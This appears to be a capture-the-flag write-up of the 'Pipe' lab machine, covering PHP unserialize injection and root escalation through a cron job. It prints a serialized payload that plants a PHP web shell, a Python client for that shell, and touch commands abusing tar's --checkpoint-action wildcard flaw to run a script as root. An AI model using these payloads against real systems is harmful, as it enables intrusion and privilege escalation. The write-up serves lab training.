/dev/random: Pipe

19 Nov 2016   ~6 minutes

Writeup by npny and nobe4.

Firstly, we run nmap against the website, to discover that (among others), the ports 80 and 22 are open.

SSH doesn’t yield any results, and we try, without luck, a possible exploit against the used version.

HTTP is a lot more interesting:

An HTTP password is asked when trying to access the main page. After a few random try on the different HTTP verbs we try to access the default index.php file, which seems to have the same security. But, making a POST request on the file returned a valid HTML page. Nice!

We can see in this web page a some useful information:

Both directories are not protected and can be accessed and listed.

Moreover, it seems that the file has a link that make a POST request and display some information on painters. One crucial note is that the POST request is made using a serialize function that (after study) serialize a javascript object into a format that PHP can unserialize. A copy of the script can be found here.

The information sent to the server is an object Info.

The images contains only the image of La trahison des images, a famous painting by René Magritte. Nothing more here.

The scriptz folder contains the php.js script as well as a log.php.BAK file.

class Log
    public $filename = '';
    public $data = '';

    public function __construct()
        $this->filename = '';
        $this->data = '';

    public function PrintLog()
        $pre = "[LOG]";
        $now = date('Y-m-d H:i:s');

        $str = '$pre - $now - $this->data';
        eval("\$str = \"$str\";");

    public function __destruct() {
      file_put_contents($this->filename, $this->data, FILE_APPEND);

It seems that this file define a simple logging class in PHP. We are not sure what to do with yet…

But, we can combine this class and use it instead of the Info one in the POST request. Using the following script:

import requests

#  original info object
#  payload = 'O:4:"Info":4:{' \
        #  + 's:2:"id";'\
        #  + 'i:1;'\
        #  + 's:9:"firstname";'\
        #  + 's:4:"Rene";'\
        #  + 's:7:"surname";'\
        #  + 's:8:"Margitte";'\
        #  + 's:7:"artwork";'\
        #  + 's:23:"The Treachery of Images";'\
        #  + '}'

# new Log payload
payload = 'O:3:"Log":2:{' \
        + 's:8:"filename";'\
        + 's:27:"/var/www/html/scriptz/b.php";'\
        + 's:4:"data";'\
        + 's:39:"<?php echo shell_exec($_GET["cmd"]); ?>";'\
        + '}'

data = { 'param': payload }

r ="", data=data)
print r.content

What will happen here is the following:

We had to figure out the directory to use. After some research, we figured out the default Apache folder is used.

The payload is a simple web shell and will be placed in the folder scriptz.

Now, we must find something to do with this shell, first of, the following script enhance the usage of the web shell:

import requests

base = ''

while True:
    r = requests.get(base, params = {'cmd': cmd})
    print r.content
    cmd = raw_input('> ')

This very simple script will get the web page, passing the command as a GET argument and display the result.

We immediately check for the /passwd file, which is, unfortunately, accessible only by the root user.

After some time looking around, we can see that the files in /home/rene/backups are constantly updated. It seems that a backup file is created every minute, and every 5 minutes the 5 backups are compressed together.

Checking the /etc/crontab file confirm this, two scripts are running, both as root, this could be the way to leverage the passwd file.

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /root/
*/5 * * * * root /usr/bin/

A detail that is interesting, is that both scripts are run as root, but one of them is readable:


rm -f /home/rene/backup/backup.tar.gz
cd /home/rene/backup
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK

The interesting part of the script is the line:

tar cfz /home/rene/backup/backup.tar.gz *

Indeed, there is a vulnerability concerning this *. If a file or a directory is name like a flag, the command that use the * will treat the filename as a flag.

As an example:

$ touch a b c -la
$ ls
a b c -la
$ ls *
-rw-r--r--  1 user  group  0 Nov 17 18:23 a
-rw-r--r--  1 user  group  0 Nov 17 18:23 b
-rw-r--r--  1 user  group  0 Nov 17 18:23 c

This issue is discussed in this paper.

Now the command that need to be exploited is tar, its man page (and the previous paper) gives us the next step:


We now need to find the command we want to execute.

To make this step easier, we decided to use a script file on the server to that will be run by root, we thus need to create a file named:


Of course, the space in the filename has to be escaped, otherwise the execution will only run sh:

touch home/rene/backup/--checkpoint-action=exec=sh\

The will contain the following code, which copy the content file into an accessible file, and will change the permission on it, so that anyone can read it:

cat /passwd > /var/www/html/scriptz/passwd && chmod a+r /var/www/html/scriptz/passwd

Then we just need to check the file from the browser and we get the flag.